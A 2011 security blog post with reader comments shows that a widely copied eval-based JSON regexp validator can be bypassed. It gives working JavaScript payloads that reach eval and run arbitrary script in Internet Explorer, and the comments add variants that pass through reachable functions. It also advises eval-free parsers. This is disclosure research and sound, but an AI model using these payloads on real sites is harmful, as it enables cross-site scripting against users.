Monday, August 22, 2011

Ye Olde Crockford JSON regexp is Bypassable

Introduction

While doing some test with DOMinator I found several sites and applications using the following JSON parse routine:

function jsonParse(string, secure) {
if (secure &&
!/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/.test(string.replace(/\\./g, "@").replace(/"[^"\\\n\r]*"/g, ""))) {
return null;
}
return eval("(" + string + ")");
}

or similar.
It turned out that eval function can be reached on IE and execute arbitrary javascript code.
Suppose, in fact, that the JSON String comes from a source like location.hash and consider the following code:

jsonParse(location.hash.slice(1),true);

So far, it was considered safe and, in fact, several javascript libraries use it.

Regexp Analysis

By looking at the regexp, it can be noted that the following string is considered valid:

jsonParse('a')

because of the Eaeflnr-u part with no quotes.

This means that even if the string does not represent a JSON Object it'll be eval'ed.

Once found this behavior, it's important to find window objects that match the regexp.
I did it by executing the following code:

for(var aa in window)
if( aa.match(/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/))
console.log(""+aa)

Which resulted in the following window objects:
  • self
  • status
Hence is possible to reference self["anyobject"]["anyotherobject"] in the eval.

Exploiting JSON Bypass

What's been described so far, shows that, depending on how that result is used, it will be potentially possible to change the flow of inner javascript.

There is more fun if the victim uses Internet Explorer.
According to the wonderful Sirdarckcat and ThornMaker research on Internet Explorer is possible to execute arbitrary JavaScript using the following code:

+{ valueOf: location,
toString: [].join,
0: 'payload',
length: 1
}

So, considering that self object can be used, the following string will be treated as a valid JSON payload:

+{ "valueOf": self["location"],
"toString": []["join"],
0: "javascript:alert(1)",
length: 1
}

This payload bypasses the old Crockford's regexp and will lead to arbitrary JavaScript execution.

Countermeasures and fix

The new json.js uses a brand new regexp which "should" be safe, however it's always better to use json_parse.js which doesn't use eval.

Finally, consider that, even if the JSON parser will work as expected, the attributes and values are not validated so don't trust them!

P.S.
This post doesn't mean that Firefox or other browsers are not exploitable. It's just a matter of time to find some working vector. So if you find it and want to share, leave a comment!

4 comments:

  1. Awesome find! And better yet, perfect timing for my current project.

    As for other browsers one might use a similar vector but only if somewhere in the app is a function that basically looks like this:

    function goto() {
    location = this;
    }

    // A very rare case I suppose, but worth nothing.

    So instead of {valueOf: location, ...} we could use {valueOf:goto,...}

    I'm still looking for a vector NOT requiring +. Any idea (no charset fun) ?

    ReplyDelete
  2. The official json2.js library from JSON.org does not have this vulnerability. I continue to recommend the use of this library if there is any chance that applications will be running on pre-ES5 browsers such as IE8 and earlier.

    Get it at https://github.com/douglascrockford/JSON-js

    ReplyDelete
  3. @Krzysztof You can always count on any reachable function similar to this:

    function doSom(){
    eval(this.attr)
    }

    then use {valueOf:self["doSom"], attr:"alert(6)"}

    @Anonymous yes, I already said that in the "countermeasusres and fix" section...

    ReplyDelete
  4. @Stefano

    Right! And this gives me an idea, in that case you can simplify this to:

    {toString: self["doSom"], attr:name}

    removing the need for "+" in the payload. Tried it, it worked.

    ReplyDelete